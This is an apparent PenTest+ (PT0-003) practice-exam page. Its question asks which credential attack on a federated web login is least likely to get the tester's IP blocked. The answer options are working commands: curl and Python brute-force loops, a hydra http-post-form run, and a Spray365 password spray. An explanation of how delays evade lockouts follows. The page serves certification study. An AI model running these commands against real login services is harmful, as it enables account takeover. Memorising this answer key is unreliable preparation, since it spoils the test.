PT0-003 · Question #253
A penetration tester is evaluating the security of a corporate client's web application using federated access. Which of the following approaches has the least possibility of blocking the IP address…
The correct answer is B. spray365.py generate --password_file passwords.txt --user_file users.txt --domain example.com --delay 1 --connection_plan target.plan spray365.py spray target.plan. Option B uses Spray365, a tool specifically designed for Microsoft 365 / federated identity environments that performs password spraying with intelligent delays, connection plans, and the ability to distribute requests across multiple endpoints or time windows - significantly…
Question
A penetration tester is evaluating the security of a corporate client’s web application using federated access. Which of the following approaches has the least possibility of blocking the IP address of the tester’s machine? A. B. C. D.
Exhibits
Options
- Afor user in $(cat users.txt); do for pass in $(cat /usr/share/wordlists/rockyou.txt); do curl -X POST https://example.com/login.asp -d"username=$user&password=$pass" |grep "Welcome" && echo "OK! $user $pass" done; done
- Bspray365.py generate --password_file passwords.txt --user_file users.txt --domain example.com --delay 1 --connection_plan target.plan spray365.py spray target.plan
- Cimport requests,pathlib users=pathlib.Path("users.txt").read_text() ; passwords=pathlib.Path("passwords.txt").read_text() for user in users: for pass in passwords: r=requests.post(f"https://example.com",data=f"username={user}&password={pass}",headers={"user-agent":"Mozilla/4.0"}) if "Welcome" in r.text: print(f"OK: {user} {pass}")
- Dhydra -l users.txt -P /usr/share/wordlists/rockyou.txt <domain_ip> http-post-form "/login.asp:username=^USER^&password=^PASS^:Invalid Password"
How the community answered
(17 responses)- A6% (1)
- B76% (13)
- C6% (1)
- D12% (2)
Explanation
Option B uses Spray365, a tool specifically designed for Microsoft 365 / federated identity environments that performs password spraying with intelligent delays, connection plans, and the ability to distribute requests across multiple endpoints or time windows - significantly reducing the chance of IP blocking. The '--delay' flag and the pre-generated 'connection plan' allow the tester to control the rate and pattern of authentication attempts, mimicking legitimate traffic and staying below lockout/block thresholds. This is purpose-built for federated access (e.g., Azure AD / Office 365) where traditional brute-force tools are poorly suited.
Topics
Community Discussion
No community discussion yet for this question.


